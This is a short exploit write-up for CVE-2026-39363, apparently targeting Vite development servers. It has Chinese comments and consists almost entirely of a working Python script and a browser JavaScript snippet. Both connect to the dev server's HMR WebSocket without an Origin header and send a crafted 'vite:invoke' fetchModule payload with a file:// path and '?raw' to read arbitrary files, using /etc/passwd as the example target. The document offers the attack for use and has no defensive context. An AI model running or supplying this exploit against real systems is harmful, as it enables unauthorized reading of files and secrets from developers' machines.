CVE-2026-39363

import asyncio
import websockets
import sys
import json

async def read_file(target_host, target_port, file_path):
    # 1. 构造 WebSocket URL，指定子协议 'vite-hmr'
    uri = f"ws://{target_host}:{target_port}"
    try:
        # 2. 连接 WebSocket，关键是不带 Origin 头
        async with websockets.connect(uri, extra_headers={}) as websocket:
            print(f"[*] 已连接到 {uri}")

            # 3. 构造恶意 payload，调用 fetchModule
            # 注意：file_path 后要加上 ?raw 参数来获取文件内容[reference:33]
            payload = {
                "type": "custom",
                "event": "vite:invoke",
                "data": {
                    "id": "send:1",
                    "name": "fetchModule",
                    "data": [f"file://{file_path}?raw"]
                }
            }

            # 4. 发送 payload
            await websocket.send(json.dumps(payload))
            print(f"[*] 已发送 payload，尝试读取: {file_path}")

            # 5. 接收并打印响应
            response = await websocket.recv()
            print(f"[+] 服务器响应:\n{response}")

    except Exception as e:
        print(f"[-] 发生错误: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("用法: python exploit.py <目标IP> <端口> <文件路径>")
        print("示例: python exploit.py 192.168.1.100 5173 /etc/passwd")
        sys.exit(1)

    target_ip = sys.argv[1]
    target_port = sys.argv[2]
    file_to_read = sys.argv[3]
    asyncio.run(read_file(target_ip, target_port, file_to_read))

python exploit.py 192.168.1.100 5173 /etc/passwd

// 1. 定义目标地址和要读取的文件
const target = '192.168.1.100';
const port = '5173';
const fileToRead = '/etc/passwd';

// 2. 创建 WebSocket 连接，指定子协议 'vite-hmr'
const ws = new WebSocket(`ws://${target}:${port}`, 'vite-hmr');

// 3. 连接打开时发送恶意 payload
ws.onopen = () => {
    console.log('[*] WebSocket 连接已建立');
    const payload = {
        type: 'custom',
        event: 'vite:invoke',
        data: {
            id: 'send:1',
            name: 'fetchModule',
            data: [`file://${fileToRead}?raw`] // 关键：file:// 协议 + ?raw 参数[reference:36]
        }
    };
    ws.send(JSON.stringify(payload));
    console.log(`[*] 已发送 payload，尝试读取: ${fileToRead}`);
};

// 4. 接收并打印服务器响应
ws.onmessage = (event) => {
    console.log('[+] 服务器响应:', event.data);
};

// 5. 错误处理
ws.onerror = (error) => {
    console.error('[-] WebSocket 错误:', error);
};